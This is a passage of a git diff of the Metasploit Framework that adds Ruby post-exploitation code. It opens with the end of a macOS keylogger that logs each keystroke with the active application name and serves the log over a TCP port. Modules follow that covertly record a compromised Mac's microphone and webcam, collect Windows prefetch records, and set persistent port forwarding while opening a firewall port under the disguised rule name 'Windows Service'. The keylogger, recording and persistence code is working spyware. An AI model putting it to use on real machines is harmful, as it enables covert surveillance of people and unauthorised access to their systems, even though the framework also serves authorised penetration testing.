}
|
||||
|
||||
|
||||
#### Patches to DL (for compatibility between 1.8->1.9)
|
||||
|
||||
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
|
||||
|
||||
def ruby_1_9_or_higher?
|
||||
RUBY_VERSION.to_f >= 1.9
|
||||
end
|
||||
|
||||
def malloc(size)
|
||||
if ruby_1_9_or_higher?
|
||||
DL::CPtr.malloc(size)
|
||||
else
|
||||
DL::malloc(size)
|
||||
end
|
||||
end
|
||||
|
||||
# the old Ruby Importer defaults methods to downcase every import
|
||||
# This is annoying, so we'll patch with method_missing
|
||||
if not ruby_1_9_or_higher?
|
||||
module DL
|
||||
module Importable
|
||||
def method_missing(meth, *args, &block)
|
||||
str = meth.to_s
|
||||
lower = str[0,1].downcase + str[1..-1]
|
||||
if self.respond_to? lower
|
||||
self.send lower, *args
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#### 1-way IPC ####
|
||||
|
||||
log = ''
|
||||
log_semaphore = Mutex.new
|
||||
Signal.trap("USR1") do # signal used for port knocking
|
||||
if not @server_listening
|
||||
@server_listening = true
|
||||
Thread.new do
|
||||
require 'socket'
|
||||
server = TCPServer.new(options[:port])
|
||||
client = server.accept
|
||||
log_semaphore.synchronize do
|
||||
client.puts(log+"\n\r")
|
||||
log = ''
|
||||
end
|
||||
client.close
|
||||
server.close
|
||||
@server_listening = false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#### External dynamically linked code
|
||||
|
||||
SM_KCHR_CACHE = 38
|
||||
SM_CURRENT_SCRIPT = -2
|
||||
MAX_APP_NAME = 80
|
||||
|
||||
module Carbon
|
||||
extend Importer
|
||||
dlload 'Carbon.framework/Carbon'
|
||||
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
|
||||
extern 'void GetFrontProcess(ProcessSerialNumber *)'
|
||||
extern 'void GetKeys(void *)'
|
||||
extern 'unsigned char *GetScriptVariable(int, int)'
|
||||
extern 'unsigned char KeyTranslate(void *, int, void *)'
|
||||
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
|
||||
extern 'int CFStringGetLength(void *)'
|
||||
end
|
||||
|
||||
psn = malloc(16)
|
||||
name = malloc(16)
|
||||
name_cstr = malloc(MAX_APP_NAME)
|
||||
keymap = malloc(16)
|
||||
state = malloc(8)
|
||||
|
||||
#### Actual Keylogger code
|
||||
|
||||
itv_start = Time.now.to_i
|
||||
prev_down = Hash.new(false)
|
||||
|
||||
while (true) do
|
||||
Carbon.GetFrontProcess(psn.ref)
|
||||
Carbon.CopyProcessName(psn.ref, name.ref)
|
||||
Carbon.GetKeys(keymap)
|
||||
|
||||
str_len = Carbon.CFStringGetLength(name)
|
||||
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
|
||||
app_name = if copied then name_cstr.to_s else 'Unknown' end
|
||||
|
||||
bytes = keymap.to_str
|
||||
cap_flag = false
|
||||
ascii = 0
|
||||
|
||||
(0...128).each do |k|
|
||||
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
|
||||
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
|
||||
if not prev_down[k]
|
||||
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
|
||||
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
|
||||
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
|
||||
prev_down[k] = true
|
||||
if curr_ascii == 0
|
||||
cap_flag = true
|
||||
else
|
||||
ascii = curr_ascii
|
||||
end
|
||||
end
|
||||
else
|
||||
prev_down[k] = false
|
||||
end
|
||||
end
|
||||
|
||||
if ascii != 0 # cmd/modifier key. not sure how to look this up. assume shift.
|
||||
log_semaphore.synchronize do
|
||||
if ascii > 32 and ascii < 127
|
||||
c = if cap_flag then ascii.chr.upcase else ascii.chr end
|
||||
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
|
||||
else
|
||||
log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
exit if Time.now.to_i - itv_start > options[:duration]
|
||||
Kernel.sleep(0.01)
|
||||
end
|
||||
end
|
||||
|
||||
puts child_pid
|
||||
Process.detach(child_pid)
|
||||
|
||||
EOS
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'shellwords'
|
||||
require 'msf/core/post/osx/ruby_dl'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::OSX::RubyDL
|
||||
|
||||
POLL_TIMEOUT = 120
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Manage Record Microphone',
|
||||
'Description' => %q{
|
||||
This module will allow you to detect (with the LIST action) and
|
||||
capture (with the RECORD action) audio inputs on a remote OSX machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
|
||||
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
|
||||
OptString.new('TMP_FILE',
|
||||
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
|
||||
),
|
||||
OptString.new('AUDIO_COMPRESSION',
|
||||
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
|
||||
),
|
||||
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
|
||||
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
fail_with("Invalid session ID selected.") if client.nil?
|
||||
fail_with("Invalid action") if action.nil?
|
||||
|
||||
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
|
||||
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
|
||||
ruby_cmd = osx_capture_media(
|
||||
:action => action.name.downcase,
|
||||
:snap_filetype => '',
|
||||
:audio_enabled => true,
|
||||
:video_enabled => false,
|
||||
:num_chunks => num_chunks,
|
||||
:chunk_len => datastore['SYNC_WAIT'],
|
||||
:video_device => 0,
|
||||
:audio_device => datastore['MIC_INDEX'],
|
||||
:snap_jpg_compression => 0,
|
||||
:video_compression => '',
|
||||
:audio_compression => datastore['AUDIO_COMPRESSION'],
|
||||
:record_file => tmp_file,
|
||||
:snap_file => tmp_file
|
||||
)
|
||||
|
||||
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
|
||||
if action.name =~ /list/i
|
||||
print_good output
|
||||
elsif action.name =~ /record/i
|
||||
@pid = output.to_i
|
||||
print_status "Running record service with PID #{@pid}"
|
||||
(0...num_chunks).each do |i|
|
||||
# wait SYNC_WAIT seconds
|
||||
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
|
||||
Rex.sleep(datastore['SYNC_WAIT'])
|
||||
# start reading for file
|
||||
begin
|
||||
::Timeout.timeout(poll_timeout) do
|
||||
while true
|
||||
if File.exist?(tmp_file)
|
||||
# read file
|
||||
contents = File.read(tmp_file)
|
||||
# delete file
|
||||
rm_f(tmp_file)
|
||||
# roll filename
|
||||
base = File.basename(tmp_file, '.*') # returns it with no extension
|
||||
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
|
||||
ext = File.extname(tmp_file) || 'o'
|
||||
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
|
||||
# store contents in file
|
||||
title = "OSX Mic Recording "+i.to_s
|
||||
f = store_loot(title, "audio/quicktime", session, contents,
|
||||
"osx_mic_rec#{i}.qt", title)
|
||||
print_good "Record file captured and saved to #{f}"
|
||||
print_status "Rolling record file. "
|
||||
break
|
||||
else
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @cleaning_up.nil?
|
||||
@cleaning_up = true
|
||||
|
||||
if action.name =~ /record/i and not @pid.nil?
|
||||
print_status("Killing record service...")
|
||||
cmd_exec("/bin/kill -9 #{@pid}")
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def poll_timeout; POLL_TIMEOUT; end
|
||||
def fail_with(msg); raise msg; end
|
||||
end
|
|
@ -0,0 +1,153 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'shellwords'
|
||||
require 'msf/core/post/osx/ruby_dl'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::OSX::RubyDL
|
||||
|
||||
POLL_TIMEOUT = 120
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Manage Webcam',
|
||||
'Description' => %q{
|
||||
This module will allow the user to detect installed webcams (with
|
||||
the LIST action), take a snapshot (with the SNAPSHOT action), or
|
||||
record a webcam and mic (with the RECORD action)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'Show a list of webcams' } ],
|
||||
[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ],
|
||||
[ 'RECORD', { 'Description' => 'Record with the webcam' } ]
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]),
|
||||
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
|
||||
OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', "0.8"]),
|
||||
OptString.new('TMP_FILE',
|
||||
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
|
||||
),
|
||||
OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]),
|
||||
OptString.new('AUDIO_COMPRESSION',
|
||||
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
|
||||
),
|
||||
OptString.new('VIDEO_COMPRESSION',
|
||||
[true, 'Compression type to use for video', 'QTCompressionOptionsSD480SizeH264Video']
|
||||
),
|
||||
OptEnum.new('SNAP_FILETYPE',
|
||||
[true, 'File format to use when saving a snapshot', 'png', %w(jpg png gif tiff bmp)]
|
||||
),
|
||||
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
|
||||
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
fail_with("Invalid session ID selected.") if client.nil?
|
||||
fail_with("Invalid action") if action.nil?
|
||||
|
||||
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
|
||||
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
|
||||
ruby_cmd = osx_capture_media(
|
||||
:action => action.name.downcase,
|
||||
:snap_filetype => datastore['SNAP_FILETYPE'],
|
||||
:audio_enabled => datastore['AUDIO_ENABLED'],
|
||||
:video_enabled => true,
|
||||
:num_chunks => num_chunks,
|
||||
:chunk_len => datastore['SYNC_WAIT'],
|
||||
:video_device => datastore['CAMERA_INDEX'],
|
||||
:audio_device => datastore['MIC_INDEX'],
|
||||
:snap_jpg_compression => datastore['JPG_QUALITY'].to_f,
|
||||
:video_compression => datastore['VIDEO_COMPRESSION'],
|
||||
:audio_compression => datastore['AUDIO_COMPRESSION'],
|
||||
:record_file => tmp_file,
|
||||
:snap_file => tmp_file+datastore['SNAP_FILETYPE']
|
||||
)
|
||||
|
||||
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
|
||||
if action.name =~ /list/i
|
||||
print_good output
|
||||
elsif action.name =~ /record/i
|
||||
@pid = output.to_i
|
||||
print_status "Running record service with PID #{@pid}"
|
||||
(0...num_chunks).each do |i|
|
||||
# wait SYNC_WAIT seconds
|
||||
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
|
||||
Rex.sleep(datastore['SYNC_WAIT'])
|
||||
# start reading for file
|
||||
begin
|
||||
::Timeout.timeout(poll_timeout) do
|
||||
while true
|
||||
if File.exist?(tmp_file)
|
||||
# read file
|
||||
contents = File.read(tmp_file)
|
||||
# delete file
|
||||
rm_f(tmp_file)
|
||||
# roll filename
|
||||
base = File.basename(tmp_file, '.*') # returns it with no extension
|
||||
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
|
||||
ext = File.extname(tmp_file) || 'o'
|
||||
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
|
||||
# store contents in file
|
||||
title = "OSX Webcam Recording "+i.to_s
|
||||
f = store_loot(title, "video/mov", session, contents,
|
||||
"osx_webcam_rec#{i}.mov", title)
|
||||
print_good "Record file captured and saved to #{f}"
|
||||
print_status "Rolling movie file. "
|
||||
break
|
||||
else
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with("Client did not respond to new file request, exiting.")
|
||||
end
|
||||
end
|
||||
elsif action.name =~ /snap/i
|
||||
if output.include?('(RuntimeError)')
|
||||
print_error output
|
||||
return
|
||||
end
|
||||
|
||||
snap_type = datastore['SNAP_FILETYPE']
|
||||
img = read_file(tmp_file+snap_type)
|
||||
f = store_loot("OSX Webcam Snapshot", "image/#{snap_type}",
|
||||
session, img, "osx_webcam_snapshot.#{snap_type}", 'OSX Webcam Snapshot')
|
||||
print_good "Snapshot successfully taken and saved to #{f}"
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @cleaning_up.nil?
|
||||
@cleaning_up = true
|
||||
|
||||
if action.name =~ /record/i and not @pid.nil?
|
||||
print_status("Killing record service...")
|
||||
cmd_exec("/bin/kill -9 #{@pid}")
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def poll_timeout; POLL_TIMEOUT; end
|
||||
def fail_with(msg); raise msg; end
|
||||
end
|
|
@ -0,0 +1,186 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/windows/registry'
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Gather Prefetch File Information',
|
||||
'Description' => %q{
|
||||
This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems.
|
||||
Run count, hash and filename information is collected from each prefetch file while
|
||||
Last Modified and Create times are file MACE values.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TJ Glad <fraktaali[at]gmail.com>'],
|
||||
'Platform' => ['win'],
|
||||
'SessionType' => ['meterpreter']
|
||||
))
|
||||
end
|
||||
|
||||
def print_prefetch_key_value()
|
||||
# Checks if Prefetch registry key exists and what value it has.
|
||||
prefetch_key_value = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters", "EnablePrefetcher")
|
||||
if prefetch_key_value == 0
|
||||
print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).")
|
||||
elsif prefetch_key_value == 1
|
||||
print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).")
|
||||
elsif prefetch_key_value == 2
|
||||
print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).")
|
||||
elsif prefetch_key_value == 3
|
||||
print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).")
|
||||
else
|
||||
print_error("No value or unknown value. Results might vary.")
|
||||
end
|
||||
end
|
||||
|
||||
def print_timezone_key_values(key_value)
|
||||
# Looks for timezone from registry
|
||||
timezone = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", key_value)
|
||||
tz_bias = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", "Bias")
|
||||
if timezone.nil? or tz_bias.nil?
|
||||
print_line("Couldn't find key/value for timezone from registry.")
|
||||
else
|
||||
print_good("Remote: Timezone is %s." % timezone)
|
||||
if tz_bias < 0xfff
|
||||
print_good("Remote: Localtime bias to UTC: -%s minutes." % tz_bias)
|
||||
else
|
||||
offset = 0xffffffff
|
||||
bias = offset - tz_bias
|
||||
print_good("Remote: Localtime bias to UTC: +%s minutes." % bias)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def gather_pf_info(name_offset, hash_offset, runcount_offset, filename)
|
||||
# We'll load the file and parse information from the offsets
|
||||
prefetch_file = read_file(filename)
|
||||
if prefetch_file.empty? or prefetch_file.nil?
|
||||
print_error("Couldn't read file: #{filename}")
|
||||
return nil
|
||||
else
|
||||
# First we'll get the filename
|
||||
pf_filename = prefetch_file[name_offset..name_offset+60]
|
||||
idx = pf_filename.index("\x00\x00")
|
||||
name = Rex::Text.to_ascii(pf_filename.slice(0..idx))
|
||||
# Next we'll get the run count
|
||||
run_count = prefetch_file[runcount_offset..runcount_offset+4].unpack('L*')[0].to_s
|
||||
# Then file path hash
|
||||
path_hash = prefetch_file[hash_offset..hash_offset+4].unpack('h8')[0].reverse.upcase.to_s
|
||||
# Last is mace value for timestamps
|
||||
mtimes = client.priv.fs.get_file_mace(filename)
|
||||
if mtimes.nil? or mtimes.empty?
|
||||
last_modified = "Error reading value"
|
||||
created = "Error reading value"
|
||||
else
|
||||
last_modified = mtimes['Modified'].utc.to_s
|
||||
created = mtimes['Created'].utc.to_s
|
||||
end
|
||||
return [last_modified, created, run_count, path_hash, name]
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Prefetch Gathering started.")
|
||||
# Check to see what Windows Version is running.
|
||||
# Needed for offsets.
|
||||
# Tested on WinXP, Win2k3 and Win7 systems.
|
||||
# http://www.forensicswiki.org/wiki/Prefetch
|
||||
# http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format
|
||||
|
||||
sysnfo = client.sys.config.sysinfo['OS']
|
||||
error_msg = "You don't have enough privileges. Try getsystem."
|
||||
|
||||
if sysnfo =~/(Windows XP|2003|.NET)/
|
||||
# For some reason we need system privileges to read file
|
||||
# mace time on XP/2003 while we can do the same only
|
||||
# as admin on Win7.
|
||||
if not is_system?
|
||||
print_error(error_msg)
|
||||
return nil
|
||||
end
|
||||
# Offsets for WinXP & Win2k3
|
||||
print_good("Detected #{sysnfo} (max 128 entries)")
|
||||
name_offset = 0x10
|
||||
hash_offset = 0x4C
|
||||
runcount_offset = 0x90
|
||||
# Registry key for timezone
|
||||
key_value = "StandardName"
|
||||
|
||||
elsif sysnfo =~/(Windows 7)/
|
||||
if not is_admin?
|
||||
print_error(error_msg)
|
||||
return nil
|
||||
end
|
||||
# Offsets for Win7
|
||||
print_good("Detected #{sysnfo} (max 128 entries)")
|
||||
name_offset = 0x10
|
||||
hash_offset = 0x4C
|
||||
runcount_offset = 0x98
|
||||
# Registry key for timezone
|
||||
key_value = "TimeZoneKeyName"
|
||||
|
||||
else
|
||||
print_error("No offsets for the target Windows version. Currently works only on WinXP, Win2k3 and Win7.")
|
||||
return nil
|
||||
end
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Prefetch Information",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Modified (mace)",
|
||||
"Created (mace)",
|
||||
"Run Count",
|
||||
"Hash",
|
||||
"Filename"
|
||||
])
|
||||
print_prefetch_key_value
|
||||
print_timezone_key_values(key_value)
|
||||
print_good("Current UTC Time: %s" % Time.now.utc)
|
||||
sys_root = expand_path("%SYSTEMROOT%")
|
||||
full_path = sys_root + "\\Prefetch\\"
|
||||
file_type = "*.pf"
|
||||
print_status("Gathering information from remote system. This will take awhile..")
|
||||
|
||||
# Goes through the files in Prefetch directory, creates file paths for the
|
||||
# gather_pf_info function that enumerates all the pf info
|
||||
|
||||
getfile_prefetch_filenames = client.fs.file.search(full_path, file_type)
|
||||
if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil?
|
||||
print_error("Could not find/access any .pf files. Can't continue. (Might be temporary error..)")
|
||||
return nil
|
||||
else
|
||||
getfile_prefetch_filenames.each do |file|
|
||||
if file.empty? or file.nil?
|
||||
next
|
||||
else
|
||||
filename = ::File.join(file['path'], file['name'])
|
||||
pf_entry = gather_pf_info(name_offset, hash_offset, runcount_offset, filename)
|
||||
if not pf_entry.nil?
|
||||
table << pf_entry
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Stores and prints out results
|
||||
results = table.to_s
|
||||
loot = store_loot("prefetch_info", "text/plain", session, results, nil, "Prefetch Information")
|
||||
print_line("\n" + results + "\n")
|
||||
print_status("Finished gathering information from prefetch files.")
|
||||
print_status("Results stored in: #{loot}")
|
||||
end
|
||||
end
|
|
@ -0,0 +1,129 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Set Port Forwarding With PortProxy',
|
||||
'Description' => %q{
|
||||
This module uses the PortProxy interface from netsh to set up
|
||||
port forwarding persistently (even after reboot). PortProxy
|
||||
supports TCP IPv4 and IPv6 connections.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']),
|
||||
OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']),
|
||||
OptPort.new( 'CONNECT_PORT', [ true, 'Port number to which to connect.']),
|
||||
OptPort.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']),
|
||||
OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]),
|
||||
OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if not is_admin?
|
||||
print_error("You don't have enough privileges. Try getsystem.")
|
||||
return
|
||||
end
|
||||
|
||||
# Due to a bug in Windows XP you need to install IPv6
|
||||
# http://support.microsoft.com/kb/555744/en-us
|
||||
if sysinfo["OS"] =~ /XP/
|
||||
return unless check_ipv6
|
||||
end
|
||||
|
||||
return unless enable_portproxy
|
||||
fw_enable_ports
|
||||
|
||||
end
|
||||
|
||||
def enable_portproxy
|
||||
rtable = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Port Forwarding Table',
|
||||
'Indent' => 3,
|
||||
'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT']
|
||||
)
|
||||
|
||||
print_status("Setting PortProxy ...")
|
||||
netsh_args = "interface portproxy "
|
||||
netsh_args << "add #{datastore['TYPE']} "
|
||||
netsh_args << "listenport=#{datastore['LOCAL_PORT']} "
|
||||
netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} "
|
||||
netsh_args << "connectport=#{datastore['CONNECT_PORT']} "
|
||||
netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}"
|
||||
output = cmd_exec("netsh", netsh_args)
|
||||
if output.size > 2
|
||||
print_error("Setup error. Verify parameters and syntax.")
|
||||
return false
|
||||
else
|
||||
print_good("PortProxy added.")
|
||||
end
|
||||
|
||||
output = cmd_exec("netsh","interface portproxy show all")
|
||||
output.each_line do |l|
|
||||
rtable << l.split(" ") if l.strip =~ /^[0-9]|\*/
|
||||
end
|
||||
print_status(rtable.to_s)
|
||||
return true
|
||||
end
|
||||
|
||||
def ipv6_installed()
|
||||
output = cmd_exec("netsh","interface ipv6 show interface")
|
||||
if output.lines.count > 2
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check_ipv6
|
||||
if ipv6_installed
|
||||
print_status("IPv6 is already installed.")
|
||||
return true
|
||||
elsif not datastore['IPV6_XP']
|
||||
print_error("IPv6 is not installed. You need IPv6 to use portproxy.")
|
||||
print_status("IPv6 can be installed with \"netsh interface ipv6 install\"")
|
||||
return false
|
||||
else
|
||||
print_status("Installing IPv6... can take a little long")
|
||||
cmd_exec("netsh","interface ipv6 install",120)
|
||||
if not ipv6_installed
|
||||
print_error("IPv6 was not successfully installed. Run it again.")
|
||||
return false
|
||||
end
|
||||
print_good("IPv6 was successfully installed.")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def fw_enable_ports
|
||||
print_status ("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
|
||||
if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/
|
||||
cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
|
||||
else
|
||||
cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")
|
||||
end
|
||||
output = cmd_exec("netsh","firewall show state")
|
||||
|
||||
if output =~ /^#{datastore['LOCAL_PORT']} /
|
||||
print_good("Port opened in Windows Firewall.")
|
||||
else
|
||||
print_error("There was an error enabling the port.")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -18,6 +18,24 @@ shared_context 'Msf::Util::Exe' do
|
|||
{ :format => "exe-service", :arch => "x86", :file_fp => /PE32 / },
|
||||
{ :format => "exe-service", :arch => "x64", :file_fp => /PE32\+ / },
|
||||
{ :format => "exe-service", :arch => "x86_64", :file_fp => /PE32\+ / },
|
||||
{ :format => "vbs", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "vbs", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "loop-vbs", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "loop-vbs", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "asp", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "asp", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "aspx", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "aspx", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "vba", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "vba", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "vba-exe", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "vba-exe", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "psh", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "psh", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "psh-net", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "psh-net", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "x86_64", :file_fp => /Zip/ },
|
||||
{ :format => "msi", :arch => "x86", :file_fp => /Composite Document/ },
|
||||
{ :format => "msi", :arch => "x64", :file_fp => /Composite Document/ },
|
||||
{ :format => "msi", :arch => "x86_64", :file_fp => /Composite Document/ },
|
||||
|
@ -28,27 +46,41 @@ shared_context 'Msf::Util::Exe' do
|
|||
{ :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ },
|
||||
